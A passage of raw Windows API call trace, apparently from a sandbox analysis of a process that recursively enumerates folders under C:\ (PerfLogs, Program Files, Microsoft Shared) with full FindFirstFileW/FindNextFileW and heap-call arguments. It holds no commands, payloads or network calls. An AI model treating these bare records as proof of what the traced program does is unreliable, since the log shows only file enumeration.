lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0067.561] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0067.562] FindClose (in: hFindFile=0x2684170 | out: hFindFile=0x2684170) returned 1 [0067.564] GetProcessHeap () returned 0x550000 [0067.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26850a0 | out: hHeap=0x550000) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0067.564] FindClose (in: hFindFile=0x56a938 | out: hFindFile=0x56a938) returned 1 [0067.564] GetProcessHeap () returned 0x550000 [0067.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0067.565] FindClose (in: hFindFile=0x572880 | out: hFindFile=0x572880) returned 1 [0067.565] GetProcessHeap () returned 0x550000 [0067.565] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0067.568] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0067.568] GetProcessHeap () returned 0x550000 [0067.568] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0067.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684170 [0067.569] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.569] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0067.569] GetProcessHeap () returned 0x550000 [0067.569] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26850a0 [0067.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841f0 [0067.570] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.570] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0067.570] FindClose (in: hFindFile=0x26841f0 | out: hFindFile=0x26841f0) returned 1 [0067.570] GetProcessHeap () returned 0x550000 [0067.570] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26850a0 | out: hHeap=0x550000) returned 1 [0067.571] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0067.571] FindClose (in: hFindFile=0x2684170 | out: hFindFile=0x2684170) returned 1 [0067.571] GetProcessHeap () returned 0x550000 [0067.571] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2640068 | out: hHeap=0x550000) returned 1 [0067.571] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0067.571] GetProcessHeap () returned 0x550000 [0067.571] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0067.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684170 [0067.571] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.572] FindNextFileW (in: hFindFile=0x2684170, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0067.572] GetProcessHeap () returned 0x550000 [0067.572] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26850a0 [0067.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841f0 [0067.572] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.572] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0067.572] GetProcessHeap () returned 0x550000 [0067.572] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0067.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684230 [0067.573] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.574] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0067.574] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0067.574] FindClose (in: hFindFile=0x2684230 | out: hFindFile=0x2684230) returned 1 [0067.574] GetProcessHeap () returned 0x550000 [0067.574] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0067.574] FindNextFileW (in: hFindFile=0x26841f0, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0067.574] GetProcessHeap () returned 0x550000 [0067.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0067.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684230 [0067.575] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.575] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0067.575] GetProcessHeap () returned 0x550000 [0067.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0067.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0067.577] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.577] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0067.577] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0067.577] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0067.578] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0067.578] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0067.578] GetProcessHeap () returned 0x550000 [0067.578] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0067.578] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0067.578] GetProcessHeap () returned 0x550000 [0067.578] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0067.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0068.982] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 